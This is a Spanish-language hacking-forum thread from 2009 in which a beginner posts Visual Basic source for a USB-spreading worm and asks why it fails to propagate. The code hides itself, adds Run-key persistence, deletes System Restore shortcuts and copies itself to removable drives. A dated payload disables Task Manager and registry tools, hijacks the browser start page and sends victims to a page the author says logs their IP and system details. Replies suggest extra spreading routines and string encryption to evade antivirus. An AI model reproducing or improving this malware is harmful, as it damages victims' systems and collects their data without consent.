elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 07:56  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Creando mi 1° W0rm
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Creando mi 1° W0rm  (Leído 2,193 veces)
Murd3r3r 0f daT4

Desconectado Desconectado

Mensajes: 31


...


Ver Perfil WWW
Creando mi 1° W0rm
« en: 2 Junio 2009, 19:20 »

Bueno, he decidido aprender programacion y mi meta es ir aprendiendo varios tipos hasta llegar al ASM que se ve un poco complicado :, bueno leyendo varios papers de aqui y bajando tambien bastantes sources.... Y quiero programar 1 bichito que se propague por USB solamente y no logro hacerlo :S me base copie un source de ||MadAntrax|| cabe resaltar que soy muy novato(se darán cuenta rapido!) u_u, ojala alguien me pudierá hechar 1 mano o 2 xD, Insisto, que soy demasiado newbie en todo esto.... Y si copie el source de MadAntrax pero ya que logre entender todo el source y todos los que he bajado(para analizar) yo crearé el mio en base a los suyos y mejorandolos con partes de unos y partes de otro solo pido ayuda. Y he aqui lo que he escrito y copiado, aunque no logro que se propague :S

Código
Private Declare Function GetLogicalDrives Lib "kernel32" () As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
 
Private Sub Form_Load()
 
Set reg = CreateObject("WScript.Shell")
Set fil = CreateObject("Scripting.FileSystemObject")
Dim pro As String
Dim sys As String
Dim doc As String
Dim stm As String
 
pro = Environ("programfiles")
sys = Environ("WINDIR")
doc = Environ("MyDocuments")
stm = Environ("StartMenu")
Const DRIVE_REMOVABLE = 2
Const DRIVE_FIXED = 3
Const DRIVE_REMOTE = 4
Const DRIVE_CDROM = 5
Const DRIVE_RAMDISK = 6
 
On Error Resume Next
App.TaskVisible = False
 
Open sys & "\System32\sct.32" For Output As #1 'Archivo que pensaba usar para comprobar si ya estaba antes el bichito
Print #1, "Reported genered automatic"
Print #1, "_________________________________________"
Print #1, ""
Print #1, "*Reparation of Windows programed to 23 September of 2009"
Print #1, ""
Print #1, "*System Checked"
Close #1
 
fil.DeleteFile stm & "\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
fil.DeleteFile stm & "\Programas\Accesories\System Tools\Restore System.lnk"
fil.DeleteFile stm & "\Programs\Accesories\System Tools\Restaurar sistema.lnk"
reg.RegWrite ("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System Checked Tool"), sys & ("\System32\SCT32.exe")
 
Call tim 'Llamo a la "bomba de tiempo"
Call GetType(EnumDrives) 'Llamando a la infeccion
End Sub
Function EnumDrives() As String
   Dim i As Long
   Dim tmp As Long
   Dim drives As String
 
   tmp = GetLogicalDrives()
   If tmp Then
       For i = 0 To 25
           If (tmp And 2 ^ i) <> 0 Then
               drives = drives & Chr$(i + 65) & ":#"
           End If
       Next
   End If
   EnumDrives = drives
   'La variable drives almacena todas
   'las unidades en formato "A:#C:#D:#E:#"
End Function
 
Function GetType(ByVal drives As String)
   Dim tmp() As String
 
   'Separamos las unidades según el caracter #
   tmp = Split(drives, "#")
   For i = 0 To UBound(tmp) - 1
       If GetDriveType(tmp(i)) = DRIVE_REMOVABLE Then
           'Llamamos a la función de infectar la unidad
           'si es del tipo DRIVE_REMOVABLE
           Call InfectDrive("virus.exe", tmp(i))
       End If
   Next
End Function
 
Function InfectDrive(ByVal FileName As String, ByVal drive As String) As Boolean
   'Importante, no siempre tenemos acceso de escritura
   'en las unidades, sin esta linea podríamos "matar"
   'nuestro virus :(
   On Error Resume Next
 
   Dim MySelf As String
   MySelf = String$(255, Chr$(0))
 
   'Obtenemos nuestra propia ruta
   GetModuleFileName 0, MySelf, Len(MySelf)
   'Nos copiamos en la unidad con el nombre de "virus.exe"
   FileCopy MySelf, drive & "\" & FileName
End Function
Private Sub tim()
On Error Resume Next
 
If Day(Now) >= 1 And Month(Now) >= 6 Then 'Aqui se activará en la fecha que se ponga
MsgBox "uSt3d h4 s!d0 !nf3ct4d0", vbCritical, "h4cK3d bY mUrd3r3r 0f daT4" 'Un lindo msj xD
reg.RegWrite ("HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"), "http://www.vida-geek.com/h4ck3d.php" 'Jugando con el registro! =O
reg.RegWrite ("HKCU\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel"), "1", "REG_DWORD"
reg.RegWrite ("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Exolorer\NoSetFolders"), "1", "REG_DWORD"
reg.RegWrite ("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Exolorer\NoFind"), "1", "REG_DWORD"
reg.RegWrite ("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Exolorer\NoRun"), "1", "REG_DWORD"
reg.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall\NoAddRemovePrograms"), "1", "REG_DWORD"
reg.RegWrite ("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr"), "1", "REG_DWORD"
reg.RegWrite ("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\disableregistrytools"), "1", "REG_DWORD"
reg.Run "http://www.vida-geek.com/h4ck3d.php"
End If
 
End Sub
« Última modificación: 2 Junio 2009, 21:59 por Murd3r3r 0f daT4 » En línea

"Nothing last forever...."
XcryptOR

Desconectado Desconectado

Mensajes: 225



Ver Perfil
Re: Creando mi 1° W0rm
« Respuesta #1 en: 2 Junio 2009, 19:50 »

esta bonito tu code digo estruvcturado y comentado, vas por muy buen camino, como consejo en vez de usar los objetos de scripting y shell usa las apis, me gusta que usas las rutas de los programas mediante environ eso esta muy bien.

ponle a tu code algo que lo identifique que lo haga unico, es decir por ejemplo que vaya encaminado en infectar determinado programa, ponle alguna rutina más de distribucción y ya.

MUY BIEN  ;D ;D
En línea



Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.132


Se siente observado ¬¬'


Ver Perfil
Re: Creando mi 1° W0rm
« Respuesta #2 en: 2 Junio 2009, 21:13 »

esta bonito tu code digo estruvcturado y comentado, vas por muy buen camino, como consejo en vez de usar los objetos de scripting y shell usa las apis, me gusta que usas las rutas de los programas mediante environ eso esta muy bien.

ponle a tu code algo que lo identifique que lo haga unico, es decir por ejemplo que vaya encaminado en infectar determinado programa, ponle alguna rutina más de distribucción y ya.

MUY BIEN  ;D ;D

Para mi solo ha desordenado el código de MadAntrax y metido lo del registro... :-\
Código:
http://foro.elhacker.net/programacion_vb/source_infectar_unidades_extraibles_pendrive_unidades_de_red_etc-t160658.0.html

Para la próxima, y mas para códigos tan simples aprende como funcionan y crea tu uno desde 0 ;)

Saludos ;)
En línea

YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: Creando mi 1° W0rm
« Respuesta #3 en: 2 Junio 2009, 21:16 »

Yo creo que que XcryptOR no habia visto el codigo de madantrax por que es exactamente el mismo solo con unas pequeñas modificaciones hasta los mismos comentarios al final XcryptOR estaba felicitando a MadAntrax :/
En línea



Yo le enseñe a Kayser a usar objetos en ASM
invisible_hack


Desconectado Desconectado

Mensajes: 981


Invisible_Hack™ Nick Registrado ^^


Ver Perfil WWW
Re: Creando mi 1° W0rm
« Respuesta #4 en: 2 Junio 2009, 21:19 »

Qué feo está eso de copiar sources y hacerlos pasar por propios...

Pero ya ven, al final a esta gente siempre se le pilla  :xD
En línea

"Si no visitas mi blog, Chuck te dará una patada giratoria"
Murd3r3r 0f daT4

Desconectado Desconectado

Mensajes: 31


...


Ver Perfil WWW
Re: Creando mi 1° W0rm
« Respuesta #5 en: 2 Junio 2009, 21:41 »

Si efectivamente eso de la propagacion lo copie tal cual de MadAntrax... Lo demas si lo tuve que aprender hace unos 2 años y lo escribi yo y use mas ejemplos para perfeccionarlo... Copie su codigo porque he estado leyendo y aun no entiendo muy bien ese source que el puso, creanme que si le entendierá lo estructuraría parecido y hasta mejor basandome en ese y otros ejemplos que he visto y bajado....

Y solo pido ayuda porque al compilar y ejecutar el exe no logro que se propague :S, en fin... Yo solo quiero aprender, cabe resaltar que este codigo lo ire creando yo, solo quiero ayuda

PD: Ya modifique el post un poco, para que no digan que solo copip sources, realmente quiero aprender, saber exactamente que hace copie su source para hacer un intento de infeccion por USB el cual ni con ese source ni otros lo logro, solo pido ayuda para aprender, la version 1.0 será completamente escrito por mi.
« Última modificación: 2 Junio 2009, 21:49 por Murd3r3r 0f daT4 » En línea

"Nothing last forever...."
llword93ll

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Re: Creando mi 1° W0rm
« Respuesta #6 en: 2 Junio 2009, 23:10 »

Yo te recomendaría leer algún manual para entender mas o menos como funciona esto el tutorial ese de aprende vb desde 0 ( eso se lee cuando tengas un buen rato de tiempo libre, por ej una tarde entera, nada de 15 min ahora 5 después porque te se olvidara todo xD , no te preocupes de ir copiando códigos,  todos los que empiezan y/o no saben  programar van haciendo eso ( no se les queda los codes xD , yo me incluyo)
En línea

XcryptOR

Desconectado Desconectado

Mensajes: 225



Ver Perfil
Re: Creando mi 1° W0rm
« Respuesta #7 en: 3 Junio 2009, 02:52 »

Bueno no sabia que era de MadAntrax la parte de USB, igualmente te copiaste de alguien que hace buenos codes bien estructurados, identados, etc etc etc...


Igual muchachos no hay que ser tan duros, creo que todos alguna vez usamos alguna funcion o code de alguien y nos olvidamos de los creditos. bien sea por descuido o por que no sabiamos el autor, y bueno de los grandes se aprende que más que queriendo aprender del Gran MadAntrax.

como te dije che vas por buen camino, y si tienes alguna duda sobre algo o no entiendes preguntalo aqui estamos para ayudarte.

saludos


En línea



Murd3r3r 0f daT4

Desconectado Desconectado

Mensajes: 31


...


Ver Perfil WWW
Re: Creando mi 1° W0rm
« Respuesta #8 en: 3 Junio 2009, 04:51 »

Mmmm, pues solo queria preguntar, si alguien mas o menos tiene algun source para propagacion por USB.... Miren pues compile el codigo, y pues no se propaga :S, y es que ya probe con ese codigo y algunos más que han posteado sus worms aquí y al parecer de todos los que he probado no me funcionan... Vi 1 que creo que funciona pero esta demasiado largo

He probado con todos estos y ni 1 =(, es por eso que me quedo duda, tengo 1 pequeña idea de interpretar los codigos(ha excepcion cuando empienzan a usar las API's y todo eso) ya probe con estos sources y nada más no:

W0rm by DrakoX
Gusano Tribant(Se me hace 1 sorcue muy largo, muy bueno pero largo ;))
Infeccion de pendrives por MadAntrax(El que uso actualmente)
Crea tu primer gusano(Muy interesante, pero no me funcionaron muchas cosas de su source y no estaba el link de descarga :( )
Tambien use los del manual de Hendrix

Y la neta ya los lei y analize un poco pero no hayo que funcione la propagacion :S

Quiero recalcar que la pagina: http://www.vida-geek.com/h4cked.php irá recopilando informcion de las victimas, la fecha y hora ingresados, la IP, su HostName, Browser así como SO
« Última modificación: 3 Junio 2009, 18:20 por Murd3r3r 0f daT4 » En línea

"Nothing last forever...."
skapunky
Wizard Lv 69 &
CoAdmin
***
Desconectado Desconectado

Mensajes: 3.344



Ver Perfil WWW
Re: Creando mi 1° W0rm
« Respuesta #9 en: 6 Junio 2009, 13:56 »

Yo aparte de recomendarte que dejes de hacer virus y aprende programación desde el principio. Cuando ya sepas programar en un lenjuage y digas "-Voy a crear un virus!"  encriptes las string ya que esa estructura la detecta hasta el "Non Detection Antivirus".
En línea

Murd3r3r 0f daT4

Desconectado Desconectado

Mensajes: 31


...


Ver Perfil WWW
Re: Creando mi 1° W0rm
« Respuesta #10 en: 6 Junio 2009, 16:47 »

Claro que todas las Strings va a ir encriptadas.... =)
En línea

"Nothing last forever...."
Bakura182

Desconectado Desconectado

Mensajes: 254


No existe gran talento sin gran voluntad-Honoré B.


Ver Perfil
Re: Creando mi 1° W0rm
« Respuesta #11 en: 14 Junio 2009, 02:11 »

Mira men, no es cosa de copiar pegar, de ultima estudia el codigo ajeno y luego te basas en lo aprendido, pero como alguien me dijo en mis principios "Debes ser capaz de generar codigo" eso me ayudo mucho a mi y espero que a ti tambien.

Con respecto a aprender a programar un worm, es muy sencillo, no es muy dificil, pero te recomendaria que empiezes por un lenguaje mas tranqui simplemente para que entiendas como se estructura. Comienza con PASCAL o batch, o mejor VBScript que es muy similar a VB. Luego vas buscando las mismas acciones que aprendiste pero en el lenguaje en el que quieras programar y obvio que debes leer ya que nadie lo hara por ti.

Bueno solo eso.. Toma, aqui te dejo un exelente manual de la mano de NovLucker, muy bien explicado ;) .

http://foro.elhacker.net/scripting/tutorial_vbscript-t229032.15.html





SALUD.O.S
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines